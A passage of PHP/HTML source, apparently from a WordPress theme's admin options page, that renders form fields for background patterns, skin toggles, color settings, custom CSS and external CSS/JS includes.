class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Background Image</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$background_image = get_option( 'background_image' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"background_image\" name=\"background_image\" style=\"width: 100%;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == \"\" ) { echo 'selected=\"selected\"'; } ?>></option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-arches' ) { echo 'selected=\"selected\"'; } ?>>pattern-arches</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-birds' ) { echo 'selected=\"selected\"'; } ?>>pattern-birds</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-blueprint' ) { echo 'selected=\"selected\"'; } ?>>pattern-blueprint</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-brushed' ) { echo 'selected=\"selected\"'; } ?>>pattern-brushed</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-carbon' ) { echo 'selected=\"selected\"'; } ?>>pattern-carbon</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-carbon2' ) { echo 'selected=\"selected\"'; } ?>>pattern-carbon2</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-card' ) { echo 'selected=\"selected\"'; } ?>>pattern-card</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-dark' ) { echo 'selected=\"selected\"'; } ?>>pattern-dark</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-dark-lines' ) { echo 'selected=\"selected\"'; } ?>>pattern-dark-lines</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-dots' ) { echo 'selected=\"selected\"'; } ?>>pattern-dots</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-grid' ) { echo 'selected=\"selected\"'; } ?>>pattern-grid</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-lines' ) { echo 'selected=\"selected\"'; } ?>>pattern-lines</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-metal' ) { echo 'selected=\"selected\"'; } ?>>pattern-metal</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-old-paper' ) { echo 'selected=\"selected\"'; } ?>>pattern-old-paper</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-paper' ) { echo 'selected=\"selected\"'; } ?>>pattern-paper</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-squares' ) { echo 'selected=\"selected\"'; } ?>>pattern-squares</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_image == 'pattern-wood' ) { echo 'selected=\"selected\"'; } ?>>pattern-wood</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Custom Background Image</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$custom_background_image = get_option( 'custom_background_image' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"custom_background_image\" name=\"custom_background_image\" class=\"upload code2\" style=\"width: 100%;\" value=\"<?php echo $custom_background_image; ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"button\" class=\"button upload-button\" style=\"margin-top: 10px;\" value=\"Browse\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<img style=\"margin-top: 10px; max-height: 50px;\" align=\"right\" alt=\"\" src=\"<?php echo $custom_background_image; ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tUpload.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Extra Skin</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"glow\" name=\"glow\" <?php if ( get_option( 'glow' ) ) { echo 'checked=\"checked\"'; } ?>> Glow</label>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"light_glow\" name=\"light_glow\" <?php if ( get_option( 'light_glow' ) ) { echo 'checked=\"checked\"'; } ?>> Light Glow</label>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"noise\" name=\"noise\" <?php if ( get_option( 'noise' ) ) { echo 'checked=\"checked\"'; } ?>> Noise</label>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"overlay\" name=\"overlay\" <?php if ( get_option( 'overlay' ) ) { echo 'checked=\"checked\"'; } ?>> Overlay</label>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"alternate_portfolio\" name=\"alternate_portfolio\" <?php if ( get_option( 'alternate_portfolio' ) ) { echo 'checked=\"checked\"'; } ?>> Alternate Portfolio</label>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"portfolio_transparent\" name=\"portfolio_transparent\" <?php if ( get_option( 'portfolio_transparent' ) ) { echo 'checked=\"checked\"'; } ?>> Portfolio Transparent</label>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"pf_details_light_transparent\" name=\"pf_details_light_transparent\" <?php if ( get_option( 'pf_details_light_transparent' ) ) { echo 'checked=\"checked\"'; } ?>> Portfolio Details Light Transparent</label>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"pf_details_dark_transparent\" name=\"pf_details_dark_transparent\" <?php if ( get_option( 'pf_details_dark_transparent' ) ) { echo 'checked=\"checked\"'; } ?>> Portfolio Details Dark Transparent</label>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"retro\" name=\"retro\" <?php if ( get_option( 'retro' ) ) { echo 'checked=\"checked\"'; } ?>> Retro</label>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Site Name Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$site_name_color = get_option( 'site_name_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"color-selector\"><div style=\"background-color: #<?php echo stripcslashes( $site_name_color ); ?>;\"></div></div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"site_name_color\" name=\"site_name_color\" class=\"color\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( $site_name_color ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Site Slogan Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$site_slogan_color = get_option( 'site_slogan_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"color-selector\"><div style=\"background-color: #<?php echo stripcslashes( $site_slogan_color ); ?>;\"></div></div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"site_slogan_color\" name=\"site_slogan_color\" class=\"color\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( $site_slogan_color ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Link Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$link_color = get_option( 'link_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"color-selector\"><div style=\"background-color: #<?php echo stripcslashes( $link_color ); ?>;\"></div></div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"link_color\" name=\"link_color\" class=\"color\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( $link_color ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Link Background Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$link_background_color = get_option( 'link_background_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"color-selector\"><div style=\"background-color: #<?php echo stripcslashes( $link_background_color ); ?>;\"></div></div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"link_background_color\" name=\"link_background_color\" class=\"color\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( $link_background_color ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Link Hover Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$link_hover_color = get_option( 'link_hover_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"color-selector\"><div style=\"background-color: #<?php echo stripcslashes( $link_hover_color ); ?>;\"></div></div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"link_hover_color\" name=\"link_hover_color\" class=\"color\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( $link_hover_color ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Link Hover Background Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$link_hover_background_color = get_option( 'link_hover_background_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"color-selector\"><div style=\"background-color: #<?php echo stripcslashes( $link_hover_background_color ); ?>;\"></div></div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"link_hover_background_color\" name=\"link_hover_background_color\" class=\"color\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( $link_hover_background_color ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Text Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$text_color = get_option( 'text_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"color-selector\"><div style=\"background-color: #<?php echo stripcslashes( $text_color ); ?>;\"></div></div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"text_color\" name=\"text_color\" class=\"color\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( $text_color ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Text Selection Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$selection_color = get_option( 'selection_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"color-selector\"><div style=\"background-color: #<?php echo stripcslashes( $selection_color ); ?>;\"></div></div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"selection_color\" name=\"selection_color\" class=\"color\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( $selection_color ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Text Selection Background Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$selection_bg_color = get_option( 'selection_bg_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"color-selector\"><div style=\"background-color: #<?php echo stripcslashes( $selection_bg_color ); ?>;\"></div></div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"selection_bg_color\" name=\"selection_bg_color\" class=\"color\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( $selection_bg_color ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Custom CSS</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<textarea id=\"custom_css\" name=\"custom_css\" class=\"code2\" style=\"width: 100%;\" rows=\"10\" cols=\"50\"><?php echo stripcslashes( get_option( 'custom_css' ) ); ?></textarea>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tQuickly add custom css.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>External CSS/JS</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<textarea id=\"external_css\" name=\"external_css\" class=\"code2\" style=\"width: 100%;\" rows=\"10\" cols=\"50\"><?php echo stripcslashes( get_option( 'external_css' ) ); ?></textarea>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tAdd your custom external stylesheet (.css) and/or javascript (.js) file(s).\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSample (.css):\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"code2\">&lt;link rel=\"stylesheet\" type=\"text/css\" href=\"yourstyle.css\"&gt;</span>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSample (.js):\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"code2\">&lt;script src=\"yourscript.js\"&gt;&lt;/script&gt;</span>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"submit\" class=\"button button-primary button-large\" value=\"Save Changes\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"settings-submit\" value=\"Y\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t<!-- end .inside -->\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t<!-- end .postbox -->\n\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tcase 'fonts' :\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif ( esc_attr( @$_GET['saved'] ) == 'true' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<div class=\"alert-success\" title=\"Click to close\"><p><strong>Saved.</strong></p></div>';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t<div class=\"postbox\">\n\t\t\t\t\t\t\t\t\t\t<div class=\"inside\">\n\t\t\t\t\t\t\t\t\t\t\t<form class=\"ajax-form\" method=\"post\" action=\"<?php admin_url( 